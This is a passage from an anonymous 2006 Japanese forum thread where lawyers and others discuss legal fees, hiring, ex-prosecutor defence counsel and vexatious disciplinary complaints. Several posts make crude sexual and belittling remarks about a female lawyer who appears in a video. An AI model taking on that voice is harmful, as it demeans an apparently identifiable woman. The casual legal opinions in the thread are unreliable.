651 :無責任な名無しさん:2006/08/24(木) 12:15:43 ID:njOPQV8L
左翼はカッチリ取るでしょ。
見習わないといけないと思いますが,実際には貧乏人相手にそこまでやれないぁなと思います。

俺は内容証明は基本5万だけど,内容証明出すだけの事件はなぜだか最近あまりないな。
内容証明は金全部もらわないと動かない。
交渉のとっかかりとして内容証明出すときには,最近は最初から交渉込みで受任して一つの契約にして着手金決めてる。

>>645
僕も小さい単位会にいますが,年寄りが面倒見てくれる訳じゃないので,僕は嫌われても良いから気にしないようにしようと最近思い始めてます。
そのえらそうな年寄りが顧問先や客をまわしてくれる訳じゃないでしょ。割に合わない事件は別にして。

みんなに「良い先生」って言われるのは,結局,便利に使われてる先生な気がします。
ニコニコ笑って会務やる人とかね。ブツブツ言いながら会務やっても評価されないからね。

会が小さいと,仕事の相談しようと思っても,話し相手の弁が依頼者の相手方から話を聞いてたりする危険もあって,なかなか話できない。

652 :無責任な名無しさん:2006/08/24(木) 12:35:04 ID:jK5nLX3x
>>648
ある事件を受任して相手が○暴系だったので心して法廷に出たら相手方の
代理人弁護士はなんと有名な人権派弁護士で唖然とした事がある。
○クザから民事事件の受任をしちゃいけないってことは研修所教官や先輩弁護士
から再三忠告されるはずなのに。しかも労働事件などで有名な社会派弁護士
だったから俺もびっくりした。

他にも驚いた出来事なんていくらでもあるが648と同感。人間の欲得に党派など関係ないんだよ。
旧共産圏の国だって一般市民が貧しい生活を送っている傍らいい暮らしをしてたんだし。
日本でも某革新政党の議長さんは著書の印税などで年収4000万、一般の党員は知らない
別荘まで持ってるなんて週刊誌に書かれてたな。

653 :無責任な名無しさん:2006/08/24(木) 12:44:51 ID:njOPQV8L
遠藤さんかね
あの人は人権派というより変わり者な気がします。
もう死んじゃったけど。

人権派≒金権派

654 :無責任な名無しさん:2006/08/24(木) 12:48:54 ID:jK5nLX3x
>>653
遠藤さんじゃないよ。彼は暴対法に反対してただけじゃなかったか。
それに彼は特定の党派には属してなかったでしょう。

655 :無責任な名無しさん:2006/08/24(木) 12:51:41 ID:njOPQV8L
東京電力神流川水力発電所南相木ダムが完成しました。それに伴い南相木ダムまでの林道が一般開放され右岸天端
広場まで自家用車で行くことが出来るようになりました。湖周の周回道路(一周約5.5km)と下流うずまき広場は工事が終
了していない為一般開放は平成18年度になる見込みです。(注:周回道路は車両進入禁止区域ですので仮に平成18年
度に一般開放されても徒歩でしか入ることが出来ません。)

656 :無責任な名無しさん:2006/08/24(木) 12:52:25 ID:njOPQV8L
スレ違い失礼しました
>>654
人違いも失礼しました

657 :無責任な名無しさん:2006/08/24(木) 13:51:49 ID:lh/0cOHM
求人アンケートの結果が出たようですね。
59期と60期の求人数がほとんど変わらないから,来年はやっぱり大変そうですね。


http://www.nichibenren.or.jp/ja/opinion/statement/060823_0.html

658 :無責任な名無しさん:2006/08/24(木) 13:54:55 ID:RHW+IpFF
>>622
高くね?
訴訟、交渉、どちらも最低42万円からだと。
こんな金額で仕事やれたらいいよなー。

659 :無責任な名無しさん:2006/08/24(木) 14:00:19 ID:7T1uUFp5
まあ,単価の高い仕事だけを選んでやるほうが,賢いことは確かだな。
人間的にどうかは別として。

660 :無責任な名無しさん:2006/08/24(木) 14:18:39 ID:7T1uUFp5
>>657

今後の採用が可能な平均年俸額 453.24万円

661 :645:2006/08/24(木) 15:01:42 ID:Uz+A/oSs
>651
確かに年寄りが面倒見てくれるわけじゃない。
けど、「あの弁護士は金にうるさい」みたいな風評を、顧問先・知人・ライオンズ等で
流すことがあるので要注意なのです。
もっと露骨なのだと、自治体・弁護士会等の法律相談で、そこそこまともな事件を
依頼しようと思っている相談者や、自治体の担当者に、「その弁護士よりこっちの
方がいい」とか言う。でもその評価は、ニコニコ会務をやっているかどうかだけ。
まだまだ実害を感じます。
会員が100人位になれば、全然気にならなくなるだろうな。

662 :無責任な名無しさん:2006/08/24(木) 15:06:34 ID:RHW+IpFF
単価の高い仕事だけを受けるというならともかく、
相場を知らない客に対し、最低●円からです、と説明をして、受任をしているとすれば、大問題だと思う。

そのあたりの実態はどうなんでしょうね。

顔まで晒しちゃって、よくやるなあと思う。

663 :無責任な名無しさん:2006/08/24(木) 15:36:24 ID:lUGtbktO
>657
言い出しっぺの責任として、オリックスグループで毎年300人位企業内弁護士を雇ってもらうべきだろう。


664 :無責任な名無しさん:2006/08/24(木) 16:01:03 ID:eKWCZ1E6
>>662
うちでは最低○○万円からです。と言って受任する分にはいいんじゃないの?
高いと思えば他へ行くだろうし、高くてもその人がイイと思えば依頼するだろうし。

665 :無責任な名無しさん:2006/08/24(木) 16:33:09 ID:GCPwT9u+
>>657

>ことに総事務所数の70%を占める1人事務所の採用動向が重要であり

1人事務所に頼っているようじゃ駄目だなw

666 :無責任な名無しさん:2006/08/24(木) 16:44:31 ID:Q9QmCGqz
この会長声明って馬鹿じゃないの?
法律事務所や企業等諸団体からの求人がないってことは、需要がないってことだろう?
執行部のなすべき事は、ロー卒合格者の制限だろう! 証拠資料に基づいた増員論者への反論だろう?


667 :無責任な名無しさん:2006/08/24(木) 17:08:55 ID:njOPQV8L
>>664
相場知らない人からも取ってしまう可能性はあるね
選択の自由を言うなら,他ではもっと安いという情報を知った上でじゃないとフェアじゃないよ

668 :無責任な名無しさん:2006/08/24(木) 17:21:16 ID:lh/0cOHM
報酬規定が撤廃されたため,どんなに高くても懲戒にはならんだろ。
タイムチャージで契約すれば,経済的利益を上回っても合理的なもの。

669 :無責任な名無しさん:2006/08/24(木) 17:35:36 ID:njOPQV8L
サラ金が利限超えて金を取ってるようなものだな

670 :無責任な名無しさん:2006/08/24(木) 17:53:48 ID:RHW+IpFF
>>664
それは、相場を知っている客なら問題ないが、相場を知らない客に対しては非常に問題があるよ。

知っていれば依頼をしない可能性が高いのだから。

671 :無責任な名無しさん:2006/08/24(木) 17:57:22 ID:CgodtvNr
>>667
そもそも、複数の弁護士の費用を見積もりして比較するのが
ドットコムの趣旨なんじゃないの?よく知らないけど。
高ければ客が来ないだけ。



672 :無責任な名無しさん:2006/08/24(木) 18:31:58 ID:GCPwT9u+
>>668
弁護士職務基本規程24条

673 :無責任な名無しさん:2006/08/24(木) 18:45:24 ID:RHW+IpFF
あの女性、どうしてあんなことしているんだろう。
若くてルックスもそこそこなのにもったいないね。
でも転職も多いよな。
激務が苦手なタイプなのだろうか。
1人でやるにしても営業力がないと客は付かないからねえ。




674 :休憩中 ◆tr.t4dJfuU :2006/08/24(木) 19:04:03 ID:AydUEah8
10マンもらってるはずだけど高いのか・・・

いや,もらわずに書き方とポイントだけ話してやるのもあるんだが・・・

675 :無責任な名無しさん:2006/08/24(木) 19:24:38 ID:7T1uUFp5
特定商取引法の指定役務に法律事務が指定される日も近い・・・・

676 :無責任な名無しさん:2006/08/24(木) 20:05:41 ID:eKWCZ1E6
>>670
今となっては、相場はない、でいいんじゃないか?
旧報酬規定ではこんなものという比較対象を明示することまで求められるんだろうか。

677 :無責任な名無しさん:2006/08/24(木) 20:28:01 ID:wE0DgUiv
スーパーで野菜を売るには、近隣商店等の値段も教えてあげないと、駄目な時代が到来するのか(笑)

678 :無責任な名無しさん:2006/08/24(木) 20:44:11 ID:37McYz2t
>>670、676 
大体の事件の内容をきいて、その見通しも説明した上で、
「私の知る限りでは、この事件ならば、ウチの事務所も含めて
大阪弁護士会の弁護士は大体これぐらいでやっているようです。」
と、できる限り着手金、報酬、費用等の金額を説明したうえで、

「これより安いところはあるでしょうし、高いところもあるから、
いくつかの事務所に聞いた上で、お決めになったら・・」と付け加えてきました。
「じゃー、他を聞いてから、またきます」と言った客は、この十年まずはなかった。

もとより、そういう依頼者の件は引き受けないという方針を堅持してきましたが。
要するに、できない事件、やりたくない事件、気に入らない依頼者の件は、
基本的に引き受けないということでやってこれたここ十年ですが。

こんな、決して有能でもない偏屈弁護士の私でも、
一応、妻子には不自由をさせることなく、何とか生きてきましたが、
最近は、そしてこれからは、そうはいかない時代になってきたのでしょうか。



679 :無責任な名無しさん:2006/08/24(木) 20:46:53 ID:gXu4kBPE
>>678
> いくつかの事務所に聞いた上で、お決めになったら・・」と付け加えてきました。
> 「じゃー、他を聞いてから、またきます」と言った客は、この十年まずはなかった。
→つまり,即決で依頼していただいた,ということですか?

もとより、そういう依頼者の件は引き受けないという方針を堅持してきましたが。
→両天秤に掛ける依頼者は受けないということ?それとも即決できないやつは受けないということ?
何だか意味不明瞭です

680 :無責任な名無しさん:2006/08/24(木) 22:08:54 ID:kPdPVOQo
>>645>>648>>650>>651
内容証明に関して、コメントしていただいて、ありがとうございました。
私の過去の内容証明体験ですが、
自身で書いたもので、無事には、代金を返還してもらうことが、
出来ました。クーリングオフという形のものでした。
実際の相場は、そういったものなんですか・・
その先、事件に発展するとするなら、
未払いの家賃の請求や、敷金の返還や、遺留分の減殺請求なんでしょうか。
まあ、こういったものなら、相手方も、司法書士さんとか、弁護士さんとか、
頼みそうですよね。確かに、勉強になります。
原則は、法に基づいてでしょうけど、相手方の弁護士次第とかで、
気を使ったりするものですか。実際の訴訟とか、調停になれば、・・
だけど、人権派とか、左翼とか、いろいろな方が居られるのですね。
何かの活動資金とかにされるんでしょうか。政界とかに、進出される方も、
おられるようですし、弁護士会の名誉職とか、所望されるんでしょうか。
ちなみに、名誉職相手は、やりづらいですかね・・

681 :無責任な名無しさん:2006/08/24(木) 22:22:50 ID:kPdPVOQo
しかし、弁護士さんに、依頼はしたことないんですが・・
着手金、8.4%で、報酬金、21%ですか・・・
なんだか、すごいなあ・・そんなに、敷居高いんですか・・
これじゃあ、なかなか庶民じゃ、頼めそうにないし、
私なんか、ご縁がなさそう。
知り合いで、家賃の取立てに困ってる方が、居られて、
書留なり、内容証明で、記録に残るように、催促するなり、
額が低いなら、簡易裁判所に相談されたらって、伝えたんだけど、
これじゃあ、弁護士さんに相談したら、なんて、言えないですね。
特定調停や、まあ、簡易裁判所の訴訟でしょうが。

682 :無責任な名無しさん:2006/08/24(木) 22:26:52 ID:luRgPlpJ
>>648
その人は惜しげもなく1000万円支払える裕福な人からは
報酬としても高額を取り、そうやって稼いだ分もあって生活できるからこそ
社会的弱やの味方や労働者の味方になるお金にならなかったり
持ち出しになるような事件もできたってことじゃないの?

683 :無責任な名無しさん:2006/08/24(木) 22:31:04 ID:BTA8Bez8
俺の田舎に左翼系の事務所があるけど、
そこでのボッタクリは有名になっている。

同廃の自己破産事件の報酬なんか
俺の倍近くぶんどってるからな。

684 :無責任な名無しさん:2006/08/24(木) 22:41:58 ID:kPdPVOQo
そういえば、以前に、親が依頼してた税理士事務所が、
遺言書の作成のお手伝いとかで、20万というのを
そこの報酬規定を見せてもらって、知りました。
こういうのって、弁護士さんか、司法書士さんか、
信託銀行さんのお仕事のような。

685 :無責任な名無しさん:2006/08/24(木) 23:48:50 ID:IIt/ezjp
>>681
当方非弁ですが。
結構労働事件(労働者側)とか離婚等請求事件では着手金を安くする代わりに報酬を高めにする場合が多いようです。
特に労働事件の場合には、依頼者は切羽詰っている人が多いし、金がなくあまり取れないので、必然的にそうせざるを得ない。
だから、特に珍しくないのでは?

686 :無責任な名無しさん:2006/08/24(木) 23:50:56 ID:lU1XcSO0
同廃の自己破産事件で着手金は40万円が原則だという事務所があるが,
私はこれまで,自己破産事件で着手金40万も払えそうな人に出会ったことがない。
過払いの分をかき集めて40万くらいになったのはいっぱいいるけどね。

687 :無責任な名無しさん:2006/08/24(木) 23:53:33 ID:lU1XcSO0
ところで,任意整理で一括弁済の場合,ほかのところは利限から2割くらいカットしてくれるが,
アイフルやライフは利限全額じゃないと絶対にダメだとか言いやがる。
アイフル系列は経営きつい状況なのかね。単にがめついだけなのかね。

688 :休憩中 ◆tr.t4dJfuU :2006/08/25(金) 00:36:00 ID:GRDvI7uN
>686
うちはほぼ分割で。
>687
株式会社だから筋を通せば・・・ってことなんだろうね。

689 :無責任な名無しさん:2006/08/25(金) 01:09:23 ID:1aoQCChv
ところで、唐突だけど、規制緩和というなら農地法を廃止して欲しいと
思う今日この頃。

690 :無責任な名無しさん:2006/08/25(金) 04:21:01 ID:ljL8An3X
先日東京地裁で民事だけどある尋問傍聴してたら
反対尋問のときしょっぱなから裁判官に叱られ質問撤回させられてた
被告側代理人いた。
その後も原告の女に
「これはあなたが任意に提出したものですよね?」
「いいえ、任意にではなくあなたに騙され詐取されたものです」
とか反撃されたり、
「はあ?あなたさっきの私の話し聞いてなかったんですか?全然意味が違うんですけど!!」
とか言われて何も言えなくなってた。
こういう弁護士さんってたまにいるんですか?
裁判官からは叱られるわ、原告の女には罵られるわ、驚きでした。

691 :無責任な名無しさん:2006/08/25(金) 06:22:37 ID:AdNuEgAM
そこにいたということで。
あおられて恥ずかしい弁解はしないようにw

692 :無責任な名無しさん:2006/08/25(金) 09:49:42 ID:+zvM0TXk
ルックスに絶対的な自信がなけりゃ、そもそも女性は動画に出ないだろう。
これからは、ルックスに自信のあるレディ弁のいろいろな動画が楽しめそうだから
いいんじゃないかな? でも、あとに出るレディ弁はやりにくそう。

693 :無責任な名無しさん:2006/08/25(金) 12:15:31 ID:li/Z9kWE
レディ弁ってきもい。

694 :無責任な名無しさん:2006/08/25(金) 12:51:34 ID:5GvF9JKW
>>689
だめだ,ぐちゃぐちゃになってしまう。
>>687
俺は割と全部払う。
でももらうのも全部もらう
>>678
普通だと思う。
今後は三百代言が跳梁する世の中になると思う。
>>679
絡んでる意味の方が分からない
ノイローゼか
>>677
お前は野菜売ってるのか。

695 :無責任な名無しさん:2006/08/25(金) 12:58:54 ID:cjazr11Q
>>693
レディ便のほうがキモい。

>>694
ノイローゼですか?

696 :無責任な名無しさん:2006/08/25(金) 13:00:56 ID:UaN4owMc
>>694
ただ意味不明だから聞いただけ

697 :無責任な名無しさん:2006/08/25(金) 15:51:35 ID:pAW59G1c
美男美女というだけでなく、「研ぎ澄まされた感性」と「冷静な法的分析力」を持つ3人の
弁護士って凄いなぁ。スーハー弁護士だな。

698 :無責任な名無しさん:2006/08/25(金) 16:43:29 ID:gIc7Gbf8
4年で3つめの事務所って,性格に問題ありそうな…

699 :無責任な名無しさん:2006/08/25(金) 16:44:09 ID:QjS9TnGL
実は俺(被告)も先月の証拠調べで俺の弁護士裁判官にしかられ質問撤回させられた。
質問撤回って裁判ではよくあることなんですか?
あとそういう弁護士つけてるとやはり判決不利(心証とか)になりますか?



700 :無責任な名無しさん:2006/08/25(金) 16:53:03 ID:UaN4owMc
>>699
内容による

701 :無責任な名無しさん:2006/08/25(金) 17:13:09 ID:GkvwMYql
もともと無理な事件だと,尋問にも無理が出てくる。
依頼者の前で相手方をいじめてあげて,勝てないながらも依頼者に一応の溜飲を下げてもらうという考え方の弁護士もいるかも。
尋問で素人目に見ても無理な訴訟であることを顕著にして,依頼者をその後の和解に柔軟に応じさせるという高等戦術かもしれない。

702 :無責任な名無しさん:2006/08/25(金) 18:10:02 ID:RSnGiaHf
690=699


703 :無責任な名無しさん:2006/08/25(金) 21:11:18 ID:VjvlbyWP
かわいいじゃないですか。

さっそく私のお名ペットに登録しました。

704 :無責任な名無しさん:2006/08/25(金) 21:14:31 ID:j0+lic6J
あの動画お客と事務員?同じ人だな。
まあ実際の客なわけないから当たり前だけどな。

705 :無責任な名無しさん:2006/08/25(金) 22:47:37 ID:7TUwuH6r
パールのネクレスいもすぎない?

706 :無責任な名無しさん:2006/08/25(金) 22:59:23 ID:Ky7nN1Lz
うちの事務所の着手金は、20万円(安)、30万円(並)、50万円(高)、
100万円(特殊)だな。
控訴だと5万(1審負)〜30万だ。
超特殊事案で着手金0で成功報酬のみ(しかも定めなしw)というのがあるが。
報酬は概ね10%。

都会の事務所はそんなに細かく計算しているのか...

707 :無責任な名無しさん:2006/08/25(金) 23:47:58 ID:dzPssowv
この板に来たのは初めてです
よろしくお願いします
ここには法律に詳しい方がたくさんいるだろうと思いました
質問させてください

5万で買った中古の原チャが盗まれて
1ヶ月ぶりに発見されたのですが
盗んだ奴に対してはどういった請求が可能ですか?
修理代を払わせるのは当然ですが
慰謝料はいくらくらいが相場とか
新車を買わせることも出来るかとか
アドバイスお願いします。

708 :無責任な名無しさん:2006/08/25(金) 23:50:06 ID:6pdNuzbM
>>707
↓こちらへどうぞ。

やさしい法律相談part185
http://school5.2ch.net/test/read.cgi/shikaku/1154774357/l50


709 :無責任な名無しさん:2006/08/25(金) 23:54:14 ID:dzPssowv
>>708
thx

710 :無責任な名無しさん:2006/08/25(金) 23:58:02 ID:eLjPt6d8
大本営の会員ページにある委任契約書〔民事〕を使ってたら、
着手金の不返還について規定していないことに気付いた。
やべー

711 :無責任な名無しさん:2006/08/26(土) 08:32:10 ID:3x1kNrUB
聞いた話なんやけど、やっぱ刑事事件専門の弁護士はヤメ検やないと話にならんの?

712 :無責任な名無しさん:2006/08/26(土) 09:20:48 ID:vPDQNhKg
俺もあの動画で抜いた。

713 :無責任な名無しさん:2006/08/26(土) 09:24:26 ID:BajnyXx0
さすが、DQNはやることがひと味違うな

714 :無責任な名無しさん:2006/08/26(土) 11:06:46 ID:Z//GL38G
合格者が三千人になったら弁護士資格もった風俗嬢が出てくるよ、きっと

715 :無責任な名無しさん:2006/08/26(土) 12:13:15 ID:M00fHsnW
>>711
全くそんなことはありません。

検事は示談しません。だから急に弁護士になっても示談交渉は初心者です。

あと、優秀な検事はそもそも検事を続けます。
途中で脱落した検事は・・



716 :無責任な名無しさん:2006/08/26(土) 12:18:40 ID:3x1kNrUB
いや、そうやなくて、結局裁判て検事と弁護士の駆け引きやん?俺が言いたいんは弁護士でも検察内部に人脈が有るのと無いのとではちょっと違わんかということ。ある種出来レース的な裁判もあるでしょ。ヤメ検は検事のやり方よー知っとるし。

717 :無責任な名無しさん:2006/08/26(土) 12:21:00 ID:QINaEXm3
>>716
検察官も検察を離れればただの人
そのへんのけじめはしっかりついている

ヤメ検の利点は量刑相場を知っているから量刑の見通しが早めにわかることだけ

718 :無責任な名無しさん:2006/08/26(土) 12:22:06 ID:1KH1sTrY
>>717
大体量刑相場を独占すんなっての
全面開示しろや

719 :無責任な名無しさん:2006/08/26(土) 12:23:55 ID:eALELoAM
ヤメ検には優秀な人もいる。ヤメ検でボッタクリな人もいる。
ゴリゴリに否認事件をやるならヤメ検よりもずっと刑事弁護を熱心にやってきた弁護士のほうがいい。
否認すべきか自白すべきか悩むような捜査段階の事件ではヤメ検のほうが的確なアドバイスができる可能性が少し高い気がする。
しかしヤメ検は総じて相場が高い気がする。弁護士は儲かると思って辞めた人が多いのだろうか。

http://image.blog.livedoor.jp/sakiboo/imgs/1/d/1d90acfd-s.jpg

720 :無責任な名無しさん:2006/08/26(土) 12:25:59 ID:UsmKiHoT
亀田みたいな口調がひっかかるな

721 :無責任な名無しさん:2006/08/26(土) 12:27:38 ID:3x1kNrUB
ありがとう。要は弁護士の器量次第いうことやね。ところでその女は誰なんよ?笑

722 :無責任な名無しさん:2006/08/26(土) 12:27:59 ID:eALELoAM
ヤメ検に検察庁への人脈などない。
検察庁は,逆に,辞めた人に対して冷たい役所だ。

生ぬるい弁護ばかりやってる弁護士のほうが検察庁と仲が良い。
被疑者被告人の利益には全くならないけど。

http://image.blog.livedoor.jp/yuunaakarino901/imgs/3/8/38dae81e.jpg

723 :無責任な名無しさん:2006/08/26(土) 12:30:03 ID:3x1kNrUB
720

ごめんな。バリバリの関西人なんよ。悪気は無いんやけど、やっぱり関西弁てトゲあるのん?

724 :無責任な名無しさん:2006/08/26(土) 12:38:41 ID:3x1kNrUB
あ、ヤメ検言うても検事正・検事長クラスまで行った人の事なんやけど、それでも一緒なんやろか?

725 :無責任な名無しさん:2006/08/26(土) 12:40:47 ID:O8C6qnw2
この土日にやること

[1]続・最終準備書面
[2]鑑定事項書1本
[3]控訴審答弁書
[4]某A委員会の資料(模範六法くらいの厚さのファイル)読了
[5]某B委員会の資料 赤い本(下)くらいの厚さ読了
[6]最終準備書面(ほとんど記録を読んだことのない引継事件)
[7]床屋に行く

うち,[1],[2],[3],[4]は,お盆過ぎまでにする予定だったもの。

がんばろう

726 :無責任な名無しさん:2006/08/26(土) 12:45:01 ID:QINaEXm3
>>724
現場から離れてる期間が長いから使えないよ
そのクラスが弁護人でつく場合下っ端のヤメ検がもれなくついてくるけどね

727 :無責任な名無しさん:2006/08/26(土) 12:55:43 ID:qWrYil2k
元検弁護士のつぶやき
http://www.yabelab.net/blog/

728 :無責任な名無しさん:2006/08/26(土) 13:01:48 ID:3x1kNrUB
司法習修の給与って平成22年でアウトなん?

729 :無責任な名無しさん:2006/08/26(土) 13:22:43 ID:1KH1sTrY
>>725
たいしたことないな。
俺はその倍はあるし,締め切りはお盆前だった....orts

730 :無責任な名無しさん:2006/08/26(土) 15:04:48 ID:Ws50UOn/
>>729
俺は725ではないが、
[6]は、事案が謎なので全く未知数だと思うが。

731 :無責任な名無しさん:2006/08/26(土) 15:28:11 ID:J5lXgmH8
>>687

アイフルはその通りだけれど、ライフは結構負けてくれるイメージはある。
信販系(ライフがそれにあたるかは疑問だが)はそうじゃないの?

732 :無責任な名無しさん:2006/08/26(土) 20:17:45 ID:wjygzMxx
オリコはけっこう譲歩する印象。

733 :MS754 ◆yGUnQdhyV2 :2006/08/26(土) 22:32:07 ID:dJxPkdux
話を豚切りですが。

本日の野菜 トウモロコシ 30本  男爵イモ 10s

さすがにこれは・・・・・・。


734 :無責任な名無しさん:2006/08/26(土) 22:34:01 ID:cS4jBDgm
あの女性弁護士の動画観ました。
何度観てもチンコが起ちます。
あの口にくわえてほすいですわ。


735 :無責任な名無しさん:2006/08/27(日) 05:18:53 ID:Byfq4SGR
ある弁護士を訴えています(民事)。
請求原因は
@不法目的の公正証書を窮状に付け込み作成させた。
Aその交渉過程で私に破産を強要し続け、さらには私の借用書を詐取した。
Bまた、その公正証書によって、数千万円以上に及ぶ相手の債務を踏み倒した。Cそのうえその交渉中私が相手方に要求した内容や、私の明かした債務額などや、事実と異なることを捏造し、マスコミにしゃべり、それが記事化されたプライバシー侵害および名誉毀損。
などですが、もしこのうちの一つだけでも判決で認定されたら
この弁護士は弁護士会懲戒になりますよね?

736 :無責任な名無しさん:2006/08/27(日) 07:37:10 ID:2134gbNn
弁護士って変な攻撃受けたりして大変なんですね。

737 :無責任な名無しさん:2006/08/27(日) 07:42:55 ID:XUe2+yVI
>その交渉過程で私に破産を強要し続け、さらには私の借用書を詐取した。
何か矛盾が...


738 :無責任な名無しさん:2006/08/27(日) 07:58:11 ID:5DiYyeGC
昔は「弁護士の一番の敵は依頼人」っていうのは気の利いたジョークだと思ってた。

739 :無責任な名無しさん:2006/08/27(日) 08:53:05 ID:gOc8kAPM
関係者の妄想は懲戒理由にならないからダイジョーブ
本人訴訟の後始末で相手方弁護士に対する典型
(1) 相手方弁護士への損害賠償請求訴訟
(2) 偽証教唆や文書偽造や証拠品窃盗と称する告訴告発
(3) 所属弁護士会への懲戒請求
よくあることだから気にしない。
一人で十数名の弁護士を次々訴えた香具師がいる。
某地検の直告事件の3分の2をこの香具師一人で占めていた。

740 :無責任な名無しさん:2006/08/27(日) 10:13:24 ID:Byfq4SGR
でも、
妄想じゃなく一部でも敗訴判決出たら?つーか出そうなんですけど…。
その弁護士、懲戒調査も一年以上ペンディングかけられてるんですけど…。

741 :無責任な名無しさん:2006/08/27(日) 10:15:05 ID:gOc8kAPM
>懲戒調査も一年以上ペンディングかけられてるんですけど…。

 それは懲戒事由自体が ありえねー の典型

742 :無責任な名無しさん:2006/08/27(日) 10:27:12 ID:/NnbW1R8
弁護士会も裁判の結果見たいんでは?
ただ、もし本当に一部でも敗訴したら懲戒ヤバイんでない?



743 :無責任な名無しさん:2006/08/27(日) 10:29:08 ID:gOc8kAPM
>>742
希望的観測はよそでどうぞ
全く関心がありません
敗訴自体は懲戒事由になりません!

744 :無責任な名無しさん:2006/08/27(日) 10:32:02 ID:hYr8PNpS
マスコミに公表したというのは,テレビのアナウンサーが
自分のことをしゃべっている,という話じゃないの。

うちの事務所にも飛び込みの相談の電話が入ったことがある。
統合失調症の妄想なんだけどね。


745 :無責任な名無しさん:2006/08/27(日) 11:09:27 ID:Byfq4SGR
「不法目的の公正証書」
とは、相手の不正の口止め、刑事告発封じです。
ちなみにその不正行為(犯罪)は別訴で当人が認め、立件される見込です。

746 :無責任な名無しさん:2006/08/27(日) 12:00:31 ID:Qo6Zh592
つーかここは相談するためのスレじゃないから。
どっか行ってくんない?

747 :無責任な名無しさん:2006/08/27(日) 12:01:15 ID:gOc8kAPM
それは示談目的の公正証書でしょ
どこが不法目的なんだかw

748 :無責任な名無しさん:2006/08/27(日) 12:03:02 ID:gOc8kAPM
> ID:Byfq4SGR

弁護士でない方の過度の投稿はご遠慮ください。

法律の相談したいなら
↓こちらへどうぞ。

やさしい法律相談part185
http://school5.2ch.net/test/read.cgi/shikaku/1154774357/l50

749 :無責任な名無しさん:2006/08/27(日) 12:23:37 ID:xIQ3Etxi
今、すごいことに気が付いた。冥王星は惑星でなくなるくらい衝撃的な事実。
























斎藤佑樹と斉藤由貴は似ている。

750 :無責任な名無しさん:2006/08/27(日) 14:02:48 ID:bxFYPgFF
国選弁護人の苦情・相談・懲戒要請は、通常のように
各弁護士会の窓口にすればいいのですか?


751 :無責任な名無しさん:2006/08/27(日) 15:17:27 ID:PawYv3yh
>>750
弁護士会に聞いて
でもいっとくけど、国選弁護人の依頼者は被告人でなくて
国ですから。


752 :無責任な名無しさん:2006/08/27(日) 17:16:00 ID:DI3tEgbu
いや〜 いいビデオですな。
何度も抜かせてもらいました。
ごっつぁんです。

753 :無責任な名無しさん:2006/08/27(日) 18:11:28 ID:i263rhec
>>749
語感は似ていますね。
顔は全く似ていません。

>>750
あなたのような人がいるから国選をやる気がどんどんなくなるんだよね。
まあ、100件に1回くらいは懲戒相当のひどい国選もいるんだろうけどさ。

なにが懲戒事由なのか、書いてみ?

754 :無責任な名無しさん:2006/08/27(日) 20:16:12 ID:c2prLBH3
またまたつまらん煽りに反応してw

755 :無責任な名無しさん:2006/08/27(日) 21:15:56 ID:b+IfaeYu
>>725は、どこまで作業が進んだのだろう?

756 :無責任な名無しさん:2006/08/27(日) 22:10:26 ID:zRQpgAUO
綱紀委員会で懲戒不相当の決定をしたら,綱紀委員会の委員名を全員教えろと弁護士会に要求してきて,
教えたら綱紀委員全員懲戒請求してきたり,教えなかったら会長副会長を全員懲戒請求してきたりするのはよくあるよね。
委員の名前を公表するかどうかは単位会によって違うんだろうけど。
こういうときのために綱紀・懲戒には予備委員がいるんだなあ。

757 :無責任な名無しさん:2006/08/27(日) 22:17:30 ID:GeglcM2M
>>725
床屋にはいけたのだろうか。

758 :MS754 ◆yGUnQdhyV2 :2006/08/27(日) 23:23:44 ID:sn2Jyi6Y
>>756
まあ、聞くところによりますと、東京地裁の裁判官、東京地検の検察官を
次から次へと刑事告訴している方もいるようですから。

759 :無責任な名無しさん:2006/08/27(日) 23:41:51 ID:zRQpgAUO
裁判所の掲示板で検察審査会の審査結果(不起訴相当)の公告を見るとおもしろいよ。

760 :無責任な名無しさん:2006/08/28(月) 01:17:45 ID:3Ksv9KR7
いろんな土日の過ごし方がありますね。
くわばらくわばら

761 :無責任な名無しさん:2006/08/28(月) 01:25:45 ID:jxH0n1oK
>あなたのような人がいるから国選をやる気がどんどんなくなるんだよね。

それは良かった。
あなたみたいな税金泥棒に、国選なんてやる資格はないから。
もう二度と国選は受けないでね、ね、約束だよ?
by善良な一般市民


762 :無責任な名無しさん:2006/08/28(月) 01:30:10 ID:JgOJ9I9Q
>by善良な一般市民

 そもそも善良な一般市民はこんなことを2chでスレ違い投稿しないですよ
 あなたが逸範人の独善オレオレ主義の証左です。

763 :無責任な名無しさん:2006/08/28(月) 01:38:18 ID:APDi6unP
善良な一般市民は国選のお世話にはならんしな

764 :無責任な名無しさん:2006/08/28(月) 01:44:26 ID:ZK2YRUut
>>762 弁護士を選任した地裁に「上申書」を提出。

>>763 冤罪って言葉もあるけど?

確かに国選だと手を抜く弁護士は多い。
本来なら、「嫌なら引き受けない」のが鉄則なのにね。
安くても報酬をもらう以上、文句を言ったり手を抜いたりしてはいけない。
一日中ぼーっとしてる市役所勤務の公務員と同じく、税金泥棒だよね。

765 :無責任な名無しさん:2006/08/28(月) 02:00:08 ID:JgOJ9I9Q
>>764
オレオレ正義主義の方は、防犯ビデオという動かし難い証拠があっても「冤罪」っていうよ。
この前きた本人訴訟は
(1) 被害者、被害者の両親、目撃者、犯行現場店長
(2) 防犯ビデオ製造メーカー、メンテナンス会社、某警備会社
(3) 担当刑事、留置管理官、警察署長、同房者
(4) 捜査担当検事、公判担当検事、各決済官検事、令状裁判官、受訴裁判所の裁判官
(5) 国選弁護人、法律扶助協会担当者、担当書記官、廷吏
(6) 直告で(1)〜(5)を不起訴にした三席検事、異議申し立てを却下した高検検事
(7) 管轄移送を棄却した高裁裁判官、特別抗告を却下した最高裁裁判官
(8) 懲戒を却下した単位弁護士会の訴追委員と懲戒委員、同様に却下した日弁連の同委員
が全員共謀の上……という損害賠償事件だった(さらに(1)〜(8)共謀の特別公務員職権濫用罪の二次告訴付き)。

こんなことに貴重な税金と弁護士会員費用を費やすのは国民経済の無駄!

766 :無責任な名無しさん:2006/08/28(月) 04:56:17 ID:ZXSwmsv9
ぶっちゃけ弁護士なんてぼったくりのいい加減な職業。
国選なんざ、あの報酬でも高杉だと思える仕事しかしない奴もザラ。
真面目にやってるこっちは迷惑。

767 :無責任な名無しさん:2006/08/28(月) 05:36:12 ID:fXrQCYu2
>>765
まめだな。

768 :無責任な名無しさん:2006/08/28(月) 06:59:56 ID:FqDPiBZS
まぁ、窃盗前科10数犯のコンビニ弁当万引きの香具師(65歳無職)とかを
改心のうえ更生させられれば、国選報酬は安すぎと言えるだろう。

